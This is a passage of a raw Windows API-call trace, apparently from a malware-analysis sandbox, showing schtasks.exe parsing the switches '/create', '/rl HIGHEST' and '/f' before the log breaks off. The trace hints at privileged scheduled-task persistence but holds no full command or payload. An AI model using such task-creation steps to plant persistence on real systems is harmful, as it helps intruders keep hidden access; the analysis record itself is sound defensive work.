| out: _Buffer="|rl|") returned 4 [0058.487] lstrlenW (lpString="|run|") returned 5 [0058.487] lstrlenW (lpString="|rl|") returned 4 [0058.487] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0058.487] SetLastError (dwErrCode=0x490) [0058.487] lstrlenW (lpString="end") returned 3 [0058.487] lstrlenW (lpString="end") returned 3 [0058.487] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.487] lstrlenW (lpString="rl") returned 2 [0058.487] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.487] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.487] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.487] lstrlenW (lpString="|end|") returned 5 [0058.487] lstrlenW (lpString="|rl|") returned 4 [0058.487] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0058.487] SetLastError (dwErrCode=0x490) [0058.487] lstrlenW (lpString="showsid") returned 7 [0058.487] lstrlenW (lpString="showsid") returned 7 [0058.488] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.488] lstrlenW (lpString="rl") returned 2 [0058.488] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.488] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.488] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|rl|") returned 4 [0058.488] lstrlenW (lpString="|showsid|") returned 9 [0058.488] lstrlenW (lpString="|rl|") returned 4 [0058.488] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x0) [0058.488] lstrlenW (lpString="/rl") returned 3 [0058.488] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x0) [0058.488] lstrlenW (lpString="/rl") returned 3 [0058.488] GetProcessHeap () returned 0x50000 [0058.488] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6def0 [0058.488] GetProcessHeap () returned 0x50000 [0058.488] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ced0 [0058.488] SetLastError (dwErrCode=0x0) [0058.488] SetLastError (dwErrCode=0x0) [0058.488] lstrlenW (lpString="HIGHEST") returned 7 [0058.488] lstrlenW (lpString="-/") returned 2 [0058.488] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x0) [0058.488] lstrlenW (lpString="HIGHEST") returned 7 [0058.488] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0058.488] SetLastError (dwErrCode=0x490) [0058.488] SetLastError (dwErrCode=0x0) [0058.488] lstrlenW (lpString="HIGHEST") returned 7 [0058.489] GetProcessHeap () returned 0x50000 [0058.489] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d660 [0058.489] GetProcessHeap () returned 0x50000 [0058.489] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cf00 [0058.489] SetLastError (dwErrCode=0x0) [0058.489] SetLastError (dwErrCode=0x0) [0058.489] lstrlenW (lpString="/f") returned 2 [0058.489] lstrlenW (lpString="-/") returned 2 [0058.489] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.489] lstrlenW (lpString="?") returned 1 [0058.489] lstrlenW (lpString="?") returned 1 [0058.489] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.489] lstrlenW (lpString="f") returned 1 [0058.489] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.489] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.489] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.489] lstrlenW (lpString="|?|") returned 3 [0058.489] lstrlenW (lpString="|f|") returned 3 [0058.489] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0058.489] SetLastError (dwErrCode=0x490) [0058.489] lstrlenW (lpString="create") returned 6 [0058.489] lstrlenW (lpString="create") returned 6 [0058.489] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.489] lstrlenW (lpString="f") returned 1 [0058.489] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.489] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.489] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.489] lstrlenW (lpString="|create|") returned 8 [0058.489] lstrlenW (lpString="|f|") returned 3 [0058.489] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0058.489] SetLastError (dwErrCode=0x490) [0058.490] lstrlenW (lpString="delete") returned 6 [0058.490] lstrlenW (lpString="delete") returned 6 [0058.490] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.490] lstrlenW (lpString="f") returned 1 [0058.490] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.490] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.490] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.490] lstrlenW (lpString="|delete|") returned 8 [0058.490] lstrlenW (lpString="|f|") returned 3 [0058.490] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0058.490] SetLastError (dwErrCode=0x490) [0058.490] lstrlenW (lpString="query") returned 5 [0058.490] lstrlenW (lpString="query") returned 5 [0058.490] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.490] lstrlenW (lpString="f") returned 1 [0058.490] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.490] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.490] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.490] lstrlenW (lpString="|query|") returned 7 [0058.490] lstrlenW (lpString="|f|") returned 3 [0058.490] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0058.490] SetLastError (dwErrCode=0x490) [0058.490] lstrlenW (lpString="change") returned 6 [0058.490] lstrlenW (lpString="change") returned 6 [0058.490] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.490] lstrlenW (lpString="f") returned 1 [0058.491] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.491] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|change|") returned 8 [0058.491] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.491] lstrlenW (lpString="|change|") returned 8 [0058.491] lstrlenW (lpString="|f|") returned 3 [0058.491] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0058.491] SetLastError (dwErrCode=0x490) [0058.491] lstrlenW (lpString="run") returned 3 [0058.491] lstrlenW (lpString="run") returned 3 [0058.491] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.491] lstrlenW (lpString="f") returned 1 [0058.491] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.491] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.491] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.491] lstrlenW (lpString="|run|") returned 5 [0058.491] lstrlenW (lpString="|f|") returned 3 [0058.491] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0058.491] SetLastError (dwErrCode=0x490) [0058.491] lstrlenW (lpString="end") returned 3 [0058.491] lstrlenW (lpString="end") returned 3 [0058.491] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.491] lstrlenW (lpString="f") returned 1 [0058.491] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.491] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.491] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.491] lstrlenW (lpString="|end|") returned 5 [0058.491] lstrlenW (lpString="|f|") returned 3 [0058.491] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0058.491] SetLastError (dwErrCode=0x490) [0058.492] lstrlenW (lpString="showsid") returned 7 [0058.492] lstrlenW (lpString="showsid") returned 7 [0058.492] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.492] lstrlenW (lpString="f") returned 1 [0058.492] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.492] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.492] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|f|") returned 3 [0058.492] lstrlenW (lpString="|showsid|") returned 9 [0058.492] lstrlenW (lpString="|f|") returned 3 [0058.492] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0058.492] SetLastError (dwErrCode=0x490) [0058.492] SetLastError (dwErrCode=0x490) [0058.492] SetLastError (dwErrCode=0x0) [0058.492] lstrlenW (lpString="/f") returned 2 [0058.492] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0058.492] SetLastError (dwErrCode=0x490) [0058.492] SetLastError (dwErrCode=0x0) [0058.496] lstrlenW (lpString="/f") returned 2 [0058.496] GetProcessHeap () returned 0x50000 [0058.496] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x6) returned 0x6df10 [0058.496] GetProcessHeap () returned 0x50000 [0058.496] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cf30 [0058.496] SetLastError (dwErrCode=0x0) [0058.496] GetProcessHeap () returned 0x50000 [0058.496] GetProcessHeap () returned 0x50000 [0058.496] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0058.496] GetProcessHeap () returned 0x50000 [0058.497] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c320) returned 0x8 [0058.497] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320 | out: hHeap=0x50000) returned 1 [0058.497] GetProcessHeap () returned 0x50000 [0058.497] GetProcessHeap () returned 0x50000 [0058.497] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50) returned 1 [0058.497] GetProcessHeap () returned 0x50000 [0058.497] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd50) returned 0x20 [0058.498] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd50 | out: hHeap=0x50000) returned 1 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0) returned 1 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3b0) returned 0xe [0058.498] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0 | out: hHeap=0x50000) returned 1 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80) returned 1 [0058.498] GetProcessHeap () returned 0x50000 [0058.498] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cd80) returned 0x20 [0058.499] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cd80 | out: hHeap=0x50000) returned 1 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3d0) returned 1 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3d0) returned 0x8 [0058.499] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3d0 | out: hHeap=0x50000) returned 1 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0) returned 1 [0058.499] GetProcessHeap () returned 0x50000 [0058.499] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cdb0) returned 0x20 [0058.500] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cdb0 | out: hHeap=0x50000) returned 1 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3f0) returned 1 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3f0) returned 0xe [0058.500] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3f0 | out: hHeap=0x50000) returned 1 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0) returned 1 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cde0) returned 0x20 [0058.500] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cde0 | out: hHeap=0x50000) returned 1 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] GetProcessHeap () returned 0x50000 [0058.500] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c410) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c410) returned 0x8 [0058.501] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c410 | out: hHeap=0x50000) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce10) returned 0x20 [0058.501] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce10 | out: hHeap=0x50000) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c430) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c430) returned 0x6 [0058.501] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c430 | out: hHeap=0x50000) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40) returned 1 [0058.501] GetProcessHeap () returned 0x50000 [0058.501] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce40) returned 0x20 [0058.502] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce40 | out: hHeap=0x50000) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c450) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c450) returned 0x8 [0058.502] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c450 | out: hHeap=0x50000) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ce70) returned 0x20 [0058.502] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ce70 | out: hHeap=0x50000) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80) returned 1 [0058.502] GetProcessHeap () returned 0x50000 [0058.502] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de80) returned 0x66 [0058.503] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80 | out: hHeap=0x50000) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cea0) returned 0x20 [0058.503] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cea0 | out: hHeap=0x50000) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6def0) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6def0) returned 0x8 [0058.503] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6def0 | out: hHeap=0x50000) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0) returned 1 [0058.503] GetProcessHeap () returned 0x50000 [0058.503] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ced0) returned 0x20 [0058.503] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0 | out: hHeap=0x50000) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d660) returned 0x10 [0058.504] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660 | out: hHeap=0x50000) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf00) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cf00) returned 0x20 [0058.504] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf00 | out: hHeap=0x50000) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6df10) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6df10) returned 0x6 [0058.504] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6df10 | out: hHeap=0x50000) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf30) returned 1 [0058.504] GetProcessHeap () returned 0x50000 [0058.504] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cf30) returned 0x20 [0058.505] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cf30 | out: hHeap=0x50000) returned 1 [0058.505] GetProcessHeap () returned 0x50000 [0058.505] GetProcessHeap () returned 0x50000 [0058.505] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65550) returned 1 [0058.505] GetProcessHeap () returned 0x50000 [0058.505] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65550) returned 0x18 [0058.505] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65550 | out: hHeap=0x50000) returned 1 [0058.505] SetLastError (dwErrCode=0x0) [0058.505] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0058.505] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0058.505] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0058.505] VerifyVersionInfoW (in: lpVersionInformation=0x21c550, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c550) returned 1 [0058.505] SetLastError (dwErrCode=0x0) [0058.505] lstrlenW (lpString="create") returned 6 [0058.505] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0058.505] SetLastError (dwErrCode=0x490) [0058.505] SetLastError (dwErrCode=0x0) [0058.505] lstrlenW (lpString="create") returned 6 [0058.505] GetProcessHeap () returned 0x50000 [0058.505] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cf30 [0058.505] GetProcessHeap () returned 0x50000 [0058.505] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d660 [0058.506] _memicmp (_Buf1=0x6d660, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.506] GetProcessHeap () returned 0x50000 [0058.506] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d680 [0058.506] SetLastError (dwErrCode=0x0) [0058.506] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.506] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0058.506] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0058.506] GetProcessHeap () returned 0x50000 [0058.506] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x74e) returned 0x6de80 [0058.506] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x6de80 | out: lpData=0x6de80) returned 1 [0058.507] VerQueryValueW (in: pBlock=0x6de80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c638, puLen=0x21c6a0 | out: lplpBuffer=0x21c638*=0x6e21c, puLen=0x21c6a0) returned 1 [0058.507] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.507] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c618 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0058.507] VerQueryValueW (in: pBlock=0x6de80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c6a8, puLen=0x21c698 | out: lplpBuffer=0x21c6a8*=0x6e048, puLen=0x21c698) returned 1 [0058.507] lstrlenW (lpString="schtasks.exe") returned 12 [0058.507] lstrlenW (lpString="schtasks.exe") returned 12 [0058.507] lstrlenW (lpString=".EXE") returned 4 [0058.507] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0058.507] lstrlenW (lpString="schtasks.exe") returned 12 [0058.507] lstrlenW (lpString=".EXE") returned 4 [0058.507] lstrlenW (lpString="schtasks") returned 8 [0058.507] lstrlenW (lpString="/create") returned 7 [0058.507] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.507] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c618 | out: _Buffer="schtasks /create") returned 16 [0058.507] _memicmp (_Buf1=0x6bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.507] GetProcessHeap () returned 0x50000 [0058.507] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cf00 [0058.507] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.507] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0058.507] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0058.507] GetProcessHeap () returned 0x50000 [0058.507] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x30) returned 0x67c10 [0058.507] _vsnwprintf (in: _Buffer=0x6c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c618 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0058.507] GetProcessHeap () returned 0x50000 [0058.507] GetProcessHeap () returned 0x50000 [0058.507] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80) returned 1 [0058.508] GetProcessHeap () returned 0x50000 [0058.508] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6de80) returned 0x74e [0058.508] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6de80 | out: hHeap=0x50000) returned 1 [0058.508] SetLastError (dwErrCode=0x0) [0058.508] GetThreadLocale () returned 0x409 [0058.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.508] lstrlenW (lpString="create") returned 6 [0058.508] GetThreadLocale () returned 0x409 [0058.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.508] lstrlenW (lpString="?") returned 1 [0058.508] GetThreadLocale () returned 0x409 [0058.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="s") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="u") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="p") returned 1 [0058.509] GetThreadLocale () returned 0x409 [0058.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.509] lstrlenW (lpString="ru") returned 2 [0058.509] GetThreadLocale () returned 0x409 